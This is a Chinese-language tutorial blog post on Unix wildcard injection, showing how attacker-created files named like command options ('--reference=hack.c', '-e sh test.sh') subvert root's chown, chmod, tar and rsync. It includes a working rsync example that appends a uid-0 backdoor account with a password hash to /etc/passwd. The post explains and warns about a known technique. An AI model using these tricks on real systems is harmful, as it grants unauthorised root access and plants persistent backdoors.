一、有关通配符
wildcards指通配符,学过类 LINUX 系统的,应该都知道什么是通配符。直不知道也没关系,我这里列下几个常见的通配符:
* 代表任意多个字符
? 代表任意单个字符
[ ] 代表“[”和“]”之间的某一个字符,比如[0-9]可以代表0-9之间的任意一个数字,[a-zA-Z]可以代表a-z和A-Z之间的任意一个字母,字母区分大小写
– 代表一个字符
~ 用户的根目录
其为什么会被利用?是由于Wildcard wildness(通配符在野)导致的。我们先看一个示例:
你会发现使用如下方法都不成功:
cat '--help'
cat "--help"
cat "\-\-help"
cat \-\-help
同样,使用 rm 删除时也会存在这样的问题。由于我们在进行命令操作时经常会以“-” 后面接参数,所以这里就把这个值当参数了,就会造成异常。如果要处理这种文件可以有两种方法:
方法1:cat ./–help 可以正常查看;
方法2:find . -inum xxx 后面再通过exec或xargs参数进行处理。
二、chown 和 chmod 命令下的利用
1、chown
chown命令用于修改文件或目录的属主和属组。但在通查看其帮助信息时,会发现这样一个参数:–reference=RFILE(直接引用某个文件的属性来替换自己的元数据)。
假如我们目前有一个目录下有如下一些文件:
[root@361way mk]# ll
total 12
-rw-r--r-- 1 zabbix zabbix 71 Jan 4 15:58 myrand.c
-rw-r--r-- 1 zabbix zabbix 146 Jan 4 15:58 preload.c
-rw-r--r-- 1 zabbix zabbix 161 Jan 4 15:58 test.c
接下来有一个坏家伙叫kiosk的用户,在这个目录下创建了如下两个文件:
[root@361way mk]# ll
total 20
-rw-r--r-- 1 kiosk kiosk 1 Jan 4 15:59 hack.c
-rw-r--r-- 1 zabbix zabbix 71 Jan 4 15:58 myrand.c
-rw-r--r-- 1 zabbix zabbix 146 Jan 4 15:58 preload.c
-rw-r--r-- 1 kiosk kiosk 1 Jan 4 15:59 --reference=hack.c
-rw-r--r-- 1 zabbix zabbix 161 Jan 4 15:58 test.c
这两个文件里并没有内容,都是直接echo创建的。当我们使用root看到后,想让该目录下的所有文件全部修改为zabbix:zabbix ,但我们执行以后,奇怪的事情发生了:
上面我们明明使用root把所有的文件赋权给了zabbix,结果事与愿违,所有的文件属主和属组都变成了坏家伙kiosk。是不是很神奇?原理是和上面cat –help是一样的。
2、chmod
同样查看chmod的帮助信息时,也会发现这样同样的参数:–reference=RFILE(直接引用某个文件的属性来替换自己的元数据)。
坏小子kiosk用户看到这个参数欣喜若狂,我们再看下神奇的事情:
[kiosk@361way mk]$ echo "">--reference=hack.c
[kiosk@361way mk]$ chmod 777 hack.c
[kiosk@361way mk]$ ll
total 20
-rwxrwxrwx 1 kiosk kiosk 1 Jan 4 15:59 hack.c
-rw-r--r-- 1 zabbix zabbix 71 Jan 4 15:58 myrand.c
-rw-r--r-- 1 zabbix zabbix 146 Jan 4 15:58 preload.c
-rw-rw-r-- 1 kiosk kiosk 1 Jan 4 16:14 --reference=hack.c
-rw-r--r-- 1 zabbix zabbix 161 Jan 4 15:58 test.c
root 用户为防止有人使坏,把这个目录下的所有文件的权限修改成了000,看下会发生什么:
是不是防不胜防,又被忽悠了。本来想回收权限,结果所有文件的权限都变成了777。如果坏小子刚好有权限在/bin这样的目录搞了上面这样两个空文件,并且把hack.c文件的权限设置成了4777,被root赋权操作后会发生什么?天啊,是不是不敢想想。
三、tar通配符注入
tar注入这个之前提到过,这里再提下,其主要利用的如下两个参数:
–checkpoint[=NUMBER] 显示每个Numbers记录的进度消息(默认值为10)
–checkpoint-action=ACTION 在每个checkpoint(检查点)上执行ACTION
我们可以将要执行的内容写在action后面,这里还是列下样图:
四、rsync通配符提权
rsync提权使用的参数如下:
-e, --rsh=COMMAND 远程主机使用的shell
--rsync-path=PROGRAM 远程主机执行时去的路径
我们先搞下需要利用的脚本和相关文件:
[root@361way mk]# echo "echo 'hack:$1$sGg9xnlG$stAHxVHnZz16SctSEcXXC.:0:0::/root:/bin/bash'>>/etc/passwd" >test.sh
[root@361way mk]# cat test.sh
echo 'hack:$1$sGg9xnlG$stAHxVHnZz16SctSEcXXC.:0:0::/root:/bin/bash'>>/etc/passwd
[root@361way mk]# tail -1 /etc/passwd
zabbix:x:1003:1003::/home/zabbix:/bin/bash
[root@361way mk]# echo "">'-e sh test.sh'
[root@361way mk]# ll
total 20
-rw-r--r-- 1 root root 1 Jan 4 16:39 -e sh test.sh
-rw-r--r-- 1 zabbix zabbix 71 Jan 4 16:40 myrand.c
-rw-r--r-- 1 zabbix zabbix 146 Jan 4 16:40 preload.c
-rw-r--r-- 1 zabbix zabbix 161 Jan 4 16:40 test.c
-rw-r--r-- 1 root root 81 Jan 4 16:39 test.sh
这个利用起来和 tar一样,也是有条件的,如下:
跟tar的利用一样,直接使用绝对路径是不行的,在当前目录是可以提权的。
关于通配符提权就先到这里吧,参考如下文档:
https://www.exploit-db.com/papers/33930 (Back To The Future: Unix Wildcards Gone Wild)